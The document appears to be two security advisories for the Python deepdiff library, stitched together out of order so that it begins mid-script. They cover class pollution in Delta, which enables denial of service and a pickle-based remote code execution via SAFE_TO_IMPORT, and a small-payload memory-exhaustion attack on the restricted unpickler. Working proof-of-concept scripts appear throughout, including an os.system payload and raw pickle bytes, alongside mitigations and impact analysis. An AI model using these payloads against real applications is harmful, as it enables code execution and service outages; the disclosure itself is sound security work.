        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.